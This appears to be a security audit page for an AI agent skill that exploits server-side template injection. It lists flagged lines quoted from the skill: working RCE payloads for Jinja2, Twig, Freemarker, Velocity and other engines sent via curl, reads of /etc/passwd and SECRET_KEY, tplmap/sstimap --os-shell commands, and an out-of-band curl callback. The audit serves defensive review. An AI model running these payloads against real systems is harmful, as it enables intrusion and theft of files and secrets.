exploiting-template-injection-vulnerabilities
Detects and exploits Server-Side Template Injection vulnerabilities in various template engines to achieve remote code execution.
Install this skill
Security score
The exploiting-template-injection-vulnerabilities skill was audited on Jun 14, 2026 and we found 82 security issues across 4 threat categories, including 13 high-severity. Review the findings below before installing.
Categories Tested
Security Issues
Direct command execution function call
| 188 | curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)" |
Direct command execution function call
| 200 | curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}" |
Eval function call - arbitrary code execution
| 244 | curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}" |
Template literal with variable interpolation in command context
| 35 | - The positive signal is **server-side evaluation of an expression**: an arithmetic probe is rendered as its result. Confirm `{{7*7}}` → `49`, `${7*7}` → `49`, `#{7*7}` → `49`, `<%= 7*7 %>` → `49`, `{ |
Template literal with variable interpolation in command context
| 37 | - Fingerprint via the divergence test: `{{7*'7'}}` → `7777777` = Jinja2, `49` = Twig; `${7*7}` evaluating = Freemarker/Velocity/Spring EL; `#{7*7}` = Thymeleaf/Ruby. Engine-specific RCE only works aft |
Template literal with variable interpolation in command context
| 39 | - Every delimiter set: `{{}}`, `${}`, `#{}`, `<%= %>`, `{}`, `${{}}`, `#set(...)`. |
Template literal with variable interpolation in command context
| 40 | - A polyglot that triggers across engines: `${{<%[%'"}}%\` (watch for errors/partial render revealing the engine). |
Template literal with variable interpolation in command context
| 61 | ```bash |
Template literal with variable interpolation in command context
| 97 | ```bash |
Template literal with variable interpolation in command context
| 170 | ```bash |
Template literal with variable interpolation in command context
| 290 | A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` to execute comma |
System command execution
| 192 | curl -s "https://target.example.com/page?name={system('id')}" |
Curl to non-GitHub URL
| 42 | - Blind SSTI: an OOB payload (`{{...os.popen('curl http://OOB')...}}`) when no output is reflected. |
Curl to non-GitHub URL
| 80 | curl -s "https://target.example.com/page?name=$encoded" | grep -o "49" |
Curl to non-GitHub URL
| 106 | curl -s "https://target.example.com/page?name={{7*'7'}}" |
Curl to non-GitHub URL
| 111 | curl -s "https://target.example.com/page?name={{config}}" |
Curl to non-GitHub URL
| 115 | curl -s "https://target.example.com/page?name=\${.now}" |
Curl to non-GitHub URL
| 119 | curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a" |
Curl to non-GitHub URL
| 123 | curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}" |
Curl to non-GitHub URL
| 127 | curl -s "https://target.example.com/page?name={{%27test%27.class}}" |
Curl to non-GitHub URL
| 140 | curl -s "https://target.example.com/page?name={{config.items()}}" |
Curl to non-GitHub URL
| 143 | curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}" |
Curl to non-GitHub URL
| 147 | curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" |
Curl to non-GitHub URL
| 151 | curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" |
Curl to non-GitHub URL
| 155 | curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" |
Curl to non-GitHub URL
| 159 | curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" |
Curl to non-GitHub URL
| 163 | curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" |
Curl to non-GitHub URL
| 173 | curl -s "https://target.example.com/page?name={{['id']|filter('system')}}" |
Curl to non-GitHub URL
| 174 | curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}" |
Curl to non-GitHub URL
| 177 | curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}" |
Curl to non-GitHub URL
| 181 | curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}" |
Curl to non-GitHub URL
| 184 | curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}" |
Curl to non-GitHub URL
| 188 | curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)" |
Curl to non-GitHub URL
| 192 | curl -s "https://target.example.com/page?name={system('id')}" |
Curl to non-GitHub URL
| 196 | curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>" |
Curl to non-GitHub URL
| 200 | curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}" |
Curl to non-GitHub URL
| 241 | curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}" |
Curl to non-GitHub URL
| 244 | curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}" |
Curl to non-GitHub URL
| 247 | curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}" |
Curl to non-GitHub URL
| 250 | curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-" |
Curl to non-GitHub URL
| 257 | curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor" |
Access to /etc/passwd
| 158 | PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}' |
Access to /etc/passwd
| 177 | curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}" |
Access to /etc/passwd
| 226 | --download "/etc/passwd" "/tmp/passwd" |
Access to /etc/passwd
| 318 | - File system read: /etc/passwd, application source code |
Access to .env file
| 174 | curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}" |
External URL reference
| 42 | - Blind SSTI: an OOB payload (`{{...os.popen('curl http://OOB')...}}`) when no output is reflected. |
External URL reference
| 80 | curl -s "https://target.example.com/page?name=$encoded" | grep -o "49" |
External URL reference
| 106 | curl -s "https://target.example.com/page?name={{7*'7'}}" |
External URL reference
| 111 | curl -s "https://target.example.com/page?name={{config}}" |
External URL reference
| 115 | curl -s "https://target.example.com/page?name=\${.now}" |
External URL reference
| 119 | curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a" |
External URL reference
| 123 | curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}" |
External URL reference
| 127 | curl -s "https://target.example.com/page?name={{%27test%27.class}}" |
External URL reference
| 131 | python3 tplmap.py -u "https://target.example.com/page?name=test" |
External URL reference
| 140 | curl -s "https://target.example.com/page?name={{config.items()}}" |
External URL reference
| 143 | curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}" |
External URL reference
| 147 | curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" |
External URL reference
| 151 | curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" |
External URL reference
| 155 | curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" |
External URL reference
| 159 | curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" |
External URL reference
| 163 | curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")" |
External URL reference
| 173 | curl -s "https://target.example.com/page?name={{['id']|filter('system')}}" |
External URL reference
| 174 | curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}" |
External URL reference
| 177 | curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}" |
External URL reference
| 181 | curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}" |
External URL reference
| 184 | curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}" |
External URL reference
| 188 | curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)" |
External URL reference
| 192 | curl -s "https://target.example.com/page?name={system('id')}" |
External URL reference
| 196 | curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>" |
External URL reference
| 200 | curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}" |
External URL reference
| 209 | python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell |
External URL reference
| 212 | python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id" |
External URL reference
| 215 | python3 tplmap.py -u "https://target.example.com/page?name=test" \ |
External URL reference
| 221 | sstimap -u "https://target.example.com/page?name=test" |
External URL reference
| 222 | sstimap -u "https://target.example.com/page?name=test" --os-shell |
External URL reference
| 225 | python3 tplmap.py -u "https://target.example.com/page?name=test" \ |
External URL reference
| 241 | curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}" |
External URL reference
| 244 | curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}" |
External URL reference
| 247 | curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}" |
External URL reference
| 250 | curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-" |
External URL reference
| 257 | curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor" |